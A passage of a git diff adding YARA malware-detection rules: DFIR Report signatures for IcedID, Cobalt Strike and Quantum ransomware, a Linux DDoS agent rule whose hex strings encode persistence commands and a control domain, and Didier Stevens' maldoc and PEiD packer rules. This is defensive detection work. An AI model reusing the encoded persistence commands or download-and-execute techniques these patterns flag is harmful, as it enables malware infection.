+$s14 = "d1e5711e46fcb02d7cc6aa2453cfcb8540315a74f93c71e27fa0cf3853d58b979d7bb7c720c02ed384dea172a36916f1bb8b82ffd924b720f62d665558ad1d8c" ascii
+$s15 = "7d0bfdbaac91129f5d74f7e71c1c5524690343b821a541e8ba8c6ab5367aa3eb82b8dd0faee7bf6d15b972a8ae4b320b9369de3eb309c722db92d9f53b6ace68" ascii
+$s16 = "89dd0596b7c7b151bf10a1794e8f4a84401269ad5cc4af9af74df8b7199fc762581b431d65a76ecbff01e3cec318b463bce59f421b536db53fa1d21942d48d93" ascii
+$s17 = "8021dc54625a80e14f829953cc9c4310b6242e49d0ba72eedc0c04383ac5a67c0c4729175e0e662c9e78cede5882532de56a5625c1761aa6fd46b4aefe98453a" ascii
+$s18 = "24ed05de22fc8d3f76c977faf1def1d729c6b24abe3e89b0254b5b913395ee3487879287388e5ceac4b46182c2072ad1aa4f415ed6ebe515d57f4284ae068851" ascii
+$s19 = "827da8b743ba46e966706e7f5e6540c00cb1205811383a2814e1d611decfc286b1927d20391b22a0a31935a9ab93d7f25e6331a81d13db6d10c7a771e82dfd8b" ascii
+$s20 = "7c33d9ad6872281a5d7bf5984f537f09544fdee50645e9846642206ea4a81f70b27439e6dcbe6fdc1331c59bf3e2e847b6195e8ed2a51adaf91b5e615cece1d3" ascii
+condition:
+uint16(0) == 0x0000 and filesize < 600KB and
+1 of ($x*) and 4 of them
+}
+
+rule quantum_license {
+meta:
+description = "IcedID - file license.dat"
+author = "The DFIR Report"
+reference = "https://thedfirreport.com"
+date = "2022-04-24"
+hash1 = "84f016ece77ddd7d611ffc0cbb2ce24184aeee3a2fdbb9d44d0837bc533ba238"
+strings:
+$s1 = "W* |[h" fullword ascii
+$s2 = "PSHN,;x" fullword ascii
+$s3 = "ephu\"W" fullword ascii
+$s4 = "LwUw9\\" fullword ascii
+$s5 = "VYZP~pN," fullword ascii
+$s6 = "eRek?@" fullword ascii
+$s7 = "urKuEqR" fullword ascii
+$s8 = "1zjWa{`!" fullword ascii
+$s9 = "YHAV{tl" fullword ascii
+$s10 = "bwDU?u" fullword ascii
+$s11 = "SJbW`!W" fullword ascii
+$s12 = "BNnEx1k" fullword ascii
+$s13 = "SEENI3=" fullword ascii
+$s14 = "Bthw?:'H*" fullword ascii
+$s15 = "NfGHNHC" fullword ascii
+$s16 = "xUKlrl'>`" fullword ascii
+$s17 = "gZaZ^;Ro2" fullword ascii
+$s18 = "JhVo5Bb" fullword ascii
+$s19 = "OPta)}$" fullword ascii
+$s20 = "cZZJoVB" fullword ascii
+condition:
+uint16(0) == 0x44f8 and filesize < 1000KB and
+8 of them
+}
+
+rule quantum_p227 {
+meta:
+description = "Cobalt Strike - file p227.dll"
+author = "The DFIR Report"
+reference = "https://thedfirreport.com"
+date = "2022-04-24"
+hash1 = "c140ae0ae0d71c2ebaf956c92595560e8883a99a3f347dfab2a886a8fb00d4d3"
+strings:
+$s1 = "Remote Event Log Manager4" fullword wide
+$s2 = "IIdRemoteCMDServer" fullword ascii
+$s3 = "? ?6?B?`?" fullword ascii /* hex encoded string 'k' */
+$s4 = "<*=.=2=6=<=\\=" fullword ascii /* hex encoded string '&' */
+$s5 = ">'?+?/?3?7?;???" fullword ascii /* hex encoded string '7' */
+$s6 = ":#:':+:/:3:7:" fullword ascii /* hex encoded string '7' */
+$s7 = "2(252<2[2" fullword ascii /* hex encoded string '"R"' */
+$s8 = ":$;,;2;>;F;" fullword ascii /* hex encoded string '/' */
+$s9 = ":<:D:H:L:P:T:X:\\:`:d:h:l:p:t:x:|:" fullword ascii
+$s10 = "%IdThreadMgr" fullword ascii
+$s11 = "AutoHotkeys<mC" fullword ascii
+$s12 = "KeyPreview0tC" fullword ascii
+$s13 = ":dmM:\\m" fullword ascii
+$s14 = "EFilerErrorH" fullword ascii
+$s15 = "EVariantBadVarTypeErrorL" fullword ascii
+$s16 = "IdThreadMgrDefault" fullword ascii
+$s17 = "Set Size Exceeded.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)" fullword wide
+$s18 = "CopyMode0" fullword ascii
+$s19 = "TGraphicsObject0" fullword ascii
+$s20 = "THintWindow8" fullword ascii
+condition:
+uint16(0) == 0x5a4d and filesize < 2000KB and
+( pe.imphash() == "c88d91896dd5b7d9cb3f912b90e9d0ed" or 8 of them )
+}
+
+rule Ulfefi32 {
+meta:
+description = "IcedID - file Ulfefi32.dll"
+author = "The DFIR Report"
+reference = "https://thedfirreport.com"
+date = "2022-04-24"
+hash1 = "6f6f71fa3a83da86d2aba79c92664d335acb9d581646fa6e30c35e76cf61cbb7"
+strings:
+$s1 = "WZSKd2NEBI.dll" fullword ascii
+$s2 = "3638df174d2e47fbc2cdad390fdf57b44186930e3f9f4e99247556af2745ec513b928c5d78ef0def56b76844a24f50ab5c3a10f6f0291e8cfbc4802085b8413c" ascii
+$s3 = "794311155e3d3b59587a39e6bdeaac42e5a83dbe30a056a059c59a1671d288f7a7cdde39aaf8ce26704ab467e6e7db6da36aec8e1b1e0a6f2101ed3a87a73523" ascii
+$s4 = "ce37d7187cf033f0f9144a61841e65ebe440d99644c312f2a7527053f27664fc788a70d4013987f40755d30913393c37067fb1796adece94327ba0d8dfb63c10" ascii
+$s5 = "bacefbe356ece5ed36fa3f3c153e8e152cb204299243eba930136e4a954e8f6e4db70d7d7084822762c17da1d350d97c37dbcf226c5d4faa7e78765fd5aa20f8" ascii
+$s6 = "acee4914ee999f6158bf7aa90e2f9640d51e2b046c94df4301a6ee1658a54d44e423fc0a5ab3b599d6be74726e266cdb71ccd0851bcef3bc5f828eab7e736d81" ascii
+$s7 = "e2d7e82b0fe30aa846abaa4ab85cb9d47940ec70487f2d5fb4c60012289b133b44e8c244e3ec8e276fa118a54492f348e34e992da07fada70c018de1ff8f91d4" ascii
+$s8 = "afd386d951143fbfc89016ab29a04b6efcefe7cd9d3e240f1d31d59b9541b222c45bb0dc6adba0ee80b696b85939ac527af149fdbfbf40b2d06493379a27e16b" ascii
+$s9 = "3bb43aa0bbe8dee8d99aaf3ac42fbe3ec5bd8fa68fb85aea8a404ee1701aa8b2624bf8c5254e447818057b7f987a270103dd7beceb3103a66d5f34a2a6c48eed" ascii
+$s10 = "a79e1facc14f0a1dfde8f71cec33e08ed6144aa2fd9fe3774c89b50d26b78f4a516a988e412e5cce5a6b6edb7b2cded7fe9212505b240e629e066ed853fb9f6b" ascii
+$s11 = "69f9b12abc44fac17d92b02eb254c9dc0cfd8888676a9e59f0cb6d630151daccea40e850d615d32d011838f8042a2d6999fab319f49bed09e43f9b6197bf9a66" ascii
+$s12 = "cfda9d35efe288ebc6a63ef8206cd3c44e91f7d968044a8a5b512c59e76e937477837940a3a6c053a886818041e42f0ce8ede5912beab0b9b8c3f4bae726d5b2" ascii
+$s13 = "a8a404ee1701aa8b2624bf8c5254e447818057b7f987a270103dd7beceb3103a66d5f34a2a6c48eedc90afe65ba742c395bbdb4b1b12d96d6f38de96212392c3" ascii
+$s14 = "900796689b72e62f24b28affa681c23841f21e2c7a56a18a6bbb572042da8717abc9f195340d12f2fae6cf2a6d609ed5a0501e34d3b31f8151f194cdb8afc85e" ascii
+$s15 = "35560790835fe34ed478758636d3b2b797ba95c824533318dfb147146e2b5debb4f974c906dce439d3c97e94465849c9b42e9cb765a95ff42a7d8b27e62d470a" ascii
+$s16 = "0b3d20f3cf0f6b3a53c53b8f50f9116edd412776a8f218e6b0d921ccfeeb34875c4674072f84ac612004d8162a6b381f5a3d1f6d70c03203272740463ff4bcd5" ascii
+$s17 = "72f69c37649149002c41c2d85091b0f6f7683f6e6cc9b9a0063c9b0ce254dddb9736c68f81ed9fed779add52cbb453e106ab8146dab20a033c28dee789de8046" ascii
+$s18 = "f2b7f87aa149a52967593b53deff481355cfe32c2af99ad4d4144d075e2b2c70088758aafdabaf480e87cf202626bde30d32981c343bd47b403951b165d2dc0f" ascii
+$s19 = "9867f0633c80081f0803b0ed75d37296bac8d3e25e3352624a392fa338570a9930fa3ceb0aaee2095dd3dcb0aab939d7d9a8d5ba7f3baac0601ed13ffc4f0a1e" ascii
+$s20 = "3d08b3fcfda9d35efe288ebc6a63ef8206cd3c44e91f7d968044a8a5b512c59e76e937477837940a3a6c053a886818041e42f0ce8ede5912beab0b9b8c3f4bae" ascii
+condition:
+uint16(0) == 0x5a4d and filesize < 100KB and
+( pe.imphash() == "81782d8702e074c0174968b51590bf48" and ( pe.exports("FZKlWfNWN") and pe.exports("IMlNwug") and pe.exports("RPrWVBw") and pe.exports("kCXkdKtadW") and pe.exports("pLugSs") and pe.exports("pRNAU") ) or 8 of them )
+}
+
+rule quantum_ttsel {
+meta:
+description = "quantum - file ttsel.exe"
+author = "The DFIR Report"
+reference = "https://thedfirreport.com"
+date = "2022-04-24"
+hash1 = "b6c11d4a4af4ad4919b1063184ee4fe86a5b4b2b50b53b4e9b9cc282a185afda"
+strings:
+$s1 = "DSUVWj ]" fullword ascii
+$s2 = "WWVh@]@" fullword ascii
+$s3 = "expand 32-byte k" fullword ascii /* Goodware String - occured 1 times */
+$s4 = "E4PSSh" fullword ascii /* Goodware String - occured 2 times */
+$s5 = "tySjD3" fullword ascii
+$s6 = "@]_^[Y" fullword ascii /* Goodware String - occured 3 times */
+$s7 = "0`0h0p0" fullword ascii /* Goodware String - occured 3 times */
+$s8 = "tV9_<tQf9_8tKSSh" fullword ascii
+$s9 = "Vj\\Yj?Xj:f" fullword ascii
+$s10 = "1-1:1I1T1Z1p1w1" fullword ascii
+$s11 = "8-999E9U9k9" fullword ascii
+$s12 = "8\"8)8H8i8t8" fullword ascii
+$s13 = "8\"868@8M8W8" fullword ascii
+$s14 = "3\"3)3>3F3f3m3t3}3" fullword ascii
+$s15 = "3\"3(3<3]3o3" fullword ascii
+$s16 = "9 9*909B9" fullword ascii
+$s17 = "9.979S9]9a9w9" fullword ascii
+$s18 = "txf9(tsf9)tnj\\P" fullword ascii
+$s19 = "5!5'5-5J5Y5b5i5~5" fullword ascii
+$s20 = "<2=7=>=E={=" fullword ascii
+condition:
+uint16(0) == 0x5a4d and filesize < 200KB and
+( pe.imphash() == "68b5e41a24d5a26c1c2196733789c238" or 8 of them )
+}
diff --git a/yara-mikesxrs/Damian Baran/rule LinuxDDOS_Agent.yar b/yara-mikesxrs/Damian Baran/rule LinuxDDOS_Agent.yar
new file mode 100644
index 0000000..025287c
--- /dev/null
+++ b/yara-mikesxrs/Damian Baran/rule LinuxDDOS_Agent.yar	
@@ -0,0 +1,34 @@
+rule LinuxDDOS_Agent
+	{
+	meta:
+		author = "Damian Baran"
+		reference = "https://github.com/nxdamian/YARA-Public"
+		type = "info"
+		severity = 1
+		description = "Search for LinuxDDOS_Agent malware"
+    strings:
+		$LinDDOS_1={657468303A254C7520254C7520254C7520254C7520254C7520254C7520254C7520254C7520254C75}
+		$LinDDOS_2={564552534F4E45583A25737C25647C25647C2573}
+		$LinDDOS_3={4D722E426C61636B}
+		$LinDDOS_4={2F6574632F696E69742E642F706B746D616B}
+		$LinDDOS_5={636F64653A313032207772697465206175746F72756E20736372697074206661696C21}	
+		$LinDDOS_6={63686D6F6420373737202F6574632F696E69742E642F706B746D616B65}
+		$LinDDOS_7={6C6E20202D7320202D6620202F6574632F696E69742E642F706B746D616B6520202F6574632F7263322E642F533939706B746D616B65}
+		$LinDDOS_8={6C6E20202D7320202D6620202F6574632F696E69742E642F706B746D616B6520202F6574632F72632E642F7263362E642F533939706B746D616B65}
+		$LinDDOS_9={6B696C6C616C6C2020706B746D616B65}
+		$LinDDOS_10={2F62696E2F706B746D616B}
+		$LinDDOS_11={2E2F62696E2F706B746D616B65202D6B696C6C2025}
+		$LinDDOS_12={53656E64537973496E666F20}
+		$LinDDOS_13={374941747461636B}
+		$LinDDOS_14={646F737365742E64746462}
+		$LinDDOS_15={34372E66333332322E6F7267}
+		$LinDDOS_16={675F6241747461636B}
+		$LinDDOS_17={41747461636B576F726B6572}
+		$LinDDOS_18={4465616C7769746844446F53}
+		$LinDDOS_19={6B30306C6970}
+		$LinDDOS_20={646E73416D70}
+		$LinDDOS_21={675F6241747461636B2E62636F7079}
+		$LinDDOS_22={4465616C5769746844446F53}
+	condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Didier Stevens/Didier_Stevens_index.yara b/yara-mikesxrs/Didier Stevens/Didier_Stevens_index.yara
new file mode 100644
index 0000000..84cfb25
--- /dev/null
+++ b/yara-mikesxrs/Didier Stevens/Didier_Stevens_index.yara	
@@ -0,0 +1,78063 @@
+/*
+  Version 0.0.1 2014/12/13
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2014/12/13: start
+    2014/12/15: documentation
+*/
+
+rule Contains_PE_File
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect a PE file inside a byte sequence"
+        method = "Find string MZ followed by string PE at the correct offset (AddressOfNewExeHeader)"
+    strings:
+        $a = "MZ"
+    condition:
+        for any i in (1..#a): (uint32(@a[i] + uint32(@a[i] + 0x3C)) == 0x00004550)
+}
+/*
+  Version 0.0.1 2016/03/21
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2016/03/21: start
+*/
+
+rule Contains_VBE_File
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect a VBE file inside a byte sequence"
+        method = "Find string starting with #@~^ and ending with ^#~@"
+    strings:
+        $vbe = /#@~\^.+\^#~@/
+    condition:
+        $vbe
+}
+/*
+  Version 0.0.3 2015/02/15
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+    Constant 0x06 in the condition is the minimum length of the string matched by regex $b.
+    Ideally, this should be an expression and not a constant, for example len($d).
+
+  History:
+    2014/12/23: start
+    2015/01/01: continued
+    2015/01/11: changed regex to \W
+    2015/02/15: replaced regex \W with \b (available in YARA 3.3.0)
+*/
+
+rule JPEG_EXIF_Contains_eval
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect eval function inside JPG EXIF header (http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html)"
+        method = "Detect JPEG file and EXIF header ($a) and eval function ($b) inside EXIF data"
+    strings:
+        $a = {FF E1 ?? ?? 45 78 69 66 00}
+        $b = /\beval\s*\(/
+    condition:
+        uint16be(0x00) == 0xFFD8 and $a and $b in (@a + 0x12 .. @a + 0x02 + uint16be(@a + 0x02) - 0x06)
+}
+/*
+  Version 0.0.1 2014/12/15
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2014/12/15: start
+*/
+
+rule maldoc_API_hashing
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {AC 84 C0 74 07 C1 CF 0D 01 C7 EB F4 81 FF}
+        $a2 = {AC 84 C0 74 07 C1 CF 07 01 C7 EB F4 81 FF}
+    condition:
+        any of them
+}
+
+rule maldoc_function_prolog_signature
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {55 8B EC 81 EC}
+        $a2 = {55 8B EC 83 C4}
+        $a3 = {55 8B EC E8}
+        $a4 = {55 8B EC E9}
+        $a5 = {55 8B EC EB}
+    condition:
+        any of them
+}
+
+rule maldoc_structured_exception_handling
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {64 8B (05|0D|15|1D|25|2D|35|3D) 00 00 00 00}
+        $a2 = {64 A1 00 00 00 00}
+    condition:
+        any of them
+}
+/*
+rule maldoc_indirect_function_call_1
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF 75 ?? FF 55 ??}
+    condition:
+        for any i in (1..#a): (uint8(@a[i] + 2) == uint8(@a[i] + 5))
+}
+*/
+/*
+rule maldoc_indirect_function_call_2
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ??}
+    condition:
+        for any i in (1..#a): ((uint8(@a[i] + 2) == uint8(@a[i] + 8)) and (uint8(@a[i] + 3) == uint8(@a[i] + 9)) and (uint8(@a[i] + 4) == uint8(@a[i] + 10)) and (uint8(@a[i] + 5) == uint8(@a[i] + 11)))
+}
+*/
+/*
+rule maldoc_indirect_function_call_3
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF B7 ?? ?? ?? ?? FF 57 ??}
+    condition:
+        $a
+}
+*/
+
+rule maldoc_find_kernel32_base_method_1
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {64 8B (05|0D|15|1D|25|2D|35|3D) 30 00 00 00}
+        $a2 = {64 A1 30 00 00 00}
+    condition:
+        any of them
+}
+/*
+rule maldoc_find_kernel32_base_method_2
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {31 ?? ?? 30 64 8B ??}
+    condition:
+        for any i in (1..#a): ((uint8(@a[i] + 1) >= 0xC0) and (((uint8(@a[i] + 1) & 0x38) >> 3) == (uint8(@a[i] + 1) & 0x07)) and ((uint8(@a[i] + 2) & 0xF8) == 0xA0) and (uint8(@a[i] + 6) <= 0x3F) and (((uint8(@a[i] + 6) & 0x38) >> 3) != (uint8(@a[i] + 6) & 0x07)))
+}
+*/
+
+/*
+rule maldoc_find_kernel32_base_method_3
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {68 30 00 00 00 (58|59|5A|5B|5C|5D|5E|5F) 64 8B ??}
+    condition:
+        for any i in (1..#a): (((uint8(@a[i] + 5) & 0x07) == (uint8(@a[i] + 8) & 0x07)) and (uint8(@a[i] + 8) <= 0x3F) and (((uint8(@a[i] + 8) & 0x38) >> 3) != (uint8(@a[i] + 8) & 0x07)))
+}
+*/
+
+/*
+rule maldoc_getEIP_method_1
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {E8 00 00 00 00 (58|59|5A|5B|5C|5D|5E|5F)}
+    condition:
+        $a
+}
+*/
+rule maldoc_getEIP_method_4
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {D9 EE D9 74 24 F4 (58|59|5A|5B|5C|5D|5E|5F)}
+        $a2 = {D9 EE 9B D9 74 24 F4 (58|59|5A|5B|5C|5D|5E|5F)}
+    condition:
+        any of them
+}
+
+rule maldoc_OLE_file_magic_number
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {D0 CF 11 E0}
+    condition:
+        $a
+}
+
+rule maldoc_suspicious_strings
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a01 = "CloseHandle"
+        $a02 = "CreateFile"
+        $a03 = "GetProcAddr"
+        $a04 = "GetSystemDirectory"
+        $a05 = "GetTempPath"
+        $a06 = "GetWindowsDirectory"
+        $a07 = "IsBadReadPtr"
+        $a08 = "IsBadWritePtr"
+        $a09 = "LoadLibrary"
+        $a10 = "ReadFile"
+        $a11 = "SetFilePointer"
+        $a12 = "ShellExecute"
+        $a13 = "UrlDownloadToFile"
+        $a14 = "VirtualAlloc"
+        $a15 = "WinExec"
+        $a16 = "WriteFile"
+    condition:
+        any of them
+}
+/*
+  Version 0.0.1 2016/05/14
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2016/05/14: start
+*/
+
+import "pe"
+
+rule PE_File_pyinstaller
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect PE file produced by pyinstaller"
+        reference = "https://blog.didierstevens.com/2016/05/16/new-yara-rule-pe_file_pyinstaller/"
+    strings:
+        $a = "pyi-windows-manifest-filename"
+    condition:
+        pe.number_of_resources > 0 and $a
+}
+/*
+  YARA rules generated with peid-userdb-to-yara-rules.py
+  https://DidierStevens.com
+  Use at your own risk
+
+  File: userdb.txt
+  --exclude: exclude.txt
+  --eponly: all
+  --pe: False
+  Generated: 2015/02/15 12:03:43
+*/
+
+rule PEiD_00001__EP__ExE_Pack__V1_0____Elite_Coding_Group_
+{
+    meta:
+        description = "[!EP (ExE Pack) V1.0 -> Elite Coding Group]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10}
+    condition:
+        $a
+}
+
+rule PEiD_00002__EP_ExE_Pack__V1_0____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.0 -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a
+}
+rule PEiD_00003__EP_ExE_Pack__V1_4_lite_b2____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.4 lite b2 -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45}
+    condition:
+        $a
+}
+
+rule PEiD_00004__EP_ExE_Pack__V1_4_lite_final____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.4 lite final -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 61 B8 ?? ?? ?? ?? FF E0 55 8B EC 60 55 8B 75 08 8B 7D 0C E8 02 00 00 00 EB 04 8B 1C 24 C3 81 C3 00 02 00 00 53 57 8B 07 89 03 83 C7 04 83 C3 04 4E 75 F3 5F 5E FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16 46 12 D2 73 EF 02 D2 75 05 8A 16 46 12}
+    condition:
+        $a
+}
+
+rule PEiD_00005__EPack_1_4_lite__final____by_6aHguT_
+{
+    meta:
+        description = "[!EPack 1.4 lite (final) - by 6aHguT]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00006__EPack_V1_4_lite_final____6aHguT_
+{
+    meta:
+        description = "[!EPack V1.4 lite final -> 6aHguT]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00007__pirit_v1_5_
+{
+    meta:
+        description = "[$pirit v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? 5B 24 55 50 44 FB 32 2E 31 5D}
+    condition:
+        $a
+}
+rule PEiD_00008___PseudoSigner_0_2__Yoda_s_Protector_1_02______Anorganix_
+{
+    meta:
+        description = "[* PseudoSigner 0.2 [Yoda's Protector 1.02] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_00009__BJFnt_v1_1b_
+{
+    meta:
+        description = "[.BJFnt v1.1b]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56}
+    condition:
+        $a
+}
+rule PEiD_00010__BJFnt_v1_2_RC_
+{
+    meta:
+        description = "[.BJFnt v1.2 RC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB}
+    condition:
+        $a
+}
+
+rule PEiD_00011__BJFnt_v1_3_
+{
+    meta:
+        description = "[.BJFnt v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60}
+    condition:
+        $a
+}
+rule PEiD_00012__BJFnt_v1_3_
+{
+    meta:
+        description = "[.BJFnt v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 3A ?? ?? 1E EB ?? CD 20 9C EB ?? CD 20 EB ?? CD 20 60 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00013__NET_DLL____Microsoft_
+{
+    meta:
+        description = "[.NET DLL -> Microsoft]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 5F 43 6F 72 44 6C 6C 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 ?? 00 00 FF 25}
+    condition:
+        $a
+}
+rule PEiD_00014__NET_executable____Microsoft_
+{
+    meta:
+        description = "[.NET executable -> Microsoft]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 5F 43 6F 72 45 78 65 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 00 00 00 FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_00015__NET_executable_
+{
+    meta:
+        description = "[.NET executable]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00016_32Lite_v0_03a_
+{
+    meta:
+        description = "[32Lite v0.03a]"
+        ep_only = "true"
+    strings:
+        $a = {60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 ?? 10 ?? ?? 68}
+    condition:
+        $a
+}
+rule PEiD_00017_3DMark_Database_file_
+{
+    meta:
+        description = "[3DMark Database file]"
+        ep_only = "false"
+    strings:
+        $a = {33 44 4D 61 72 6B 20 44 61 74 61 62 61 73 65 20 46 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_00018_624__Six_to_Four__v1_0_
+{
+    meta:
+        description = "[624 (Six to Four) v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 55 4C 50 83 ?? ?? FC BF ?? ?? BE ?? ?? B5 ?? 57 F3 A5 C3 33 ED}
+    condition:
+        $a
+}
+
+rule PEiD_00019__MSLRH__v32a____emadicius_
+{
+    meta:
+        description = "[[MSLRH] v32a -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31}
+    condition:
+        $a
+}
+
+rule PEiD_00020_A_program_by_Jupiter____
+{
+    meta:
+        description = "[A program by Jupiter ..]"
+        ep_only = "true"
+    strings:
+        $a = {2B C0 74 05 68 ?? ?? ?? ?? 50}
+    condition:
+        $a
+}
+
+rule PEiD_00021_A3E__TXT2COM__
+{
+    meta:
+        description = "[A3E (TXT2COM)]"
+        ep_only = "true"
+    strings:
+        $a = {1E 33 C0 50 BE ?? ?? 81 C6 ?? ?? B8 ?? ?? 8E C0 BF ?? ?? B9 ?? ?? F3 A5 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00022_Aase_Crypter___by_santasdad_
+{
+    meta:
+        description = "[Aase Crypter - by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00}
+    condition:
